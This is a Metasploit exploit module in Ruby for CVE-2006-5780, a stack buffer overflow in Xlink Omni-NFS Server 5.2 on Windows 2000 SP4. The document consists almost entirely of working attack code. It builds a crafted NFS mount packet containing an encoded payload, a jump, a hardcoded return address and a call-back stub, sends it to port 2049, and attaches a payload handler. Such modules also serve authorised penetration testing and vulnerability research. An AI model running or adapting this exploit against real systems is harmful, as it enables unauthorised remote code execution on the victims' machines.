##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Omni-NFS Server Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.2
        When sending a specially crafted nfs packet, an attacker may be able
        to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2006-5780' ],
          [ 'OSVDB', '30224'],
          [ 'BID', '20941' ],
          [ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 336,
          'BadChars' => "\x00",
          'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 SP4 English',     { 'Ret' => 0x0040bb2e } ],
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 06 2006'))

    register_options([Opt::RPORT(2049)])
  end

  def exploit
    connect

    buff =  payload.encoded
    buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)
    buff << [target.ret].pack('V')
    buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string
    buff << rand_text_english(251)

    pkt =  [1].pack('N')
    pkt << [0].pack('N')
    pkt << [2].pack('N')
    pkt << [100005].pack('N')
    pkt << [1].pack('N')
    pkt << [1].pack('N')
    pkt << [1].pack('N')
    pkt << [400].pack('N')
    pkt << buff[0,400]
    pkt << [1].pack('N')
    pkt << [400].pack('N')
    pkt << buff[300,400]

    sploit = [pkt.length | 0x80000000].pack('N') + pkt

    print_status("Trying target #{target.name}...")
    sock.put(sploit)

    handler
    disconnect
  end
end
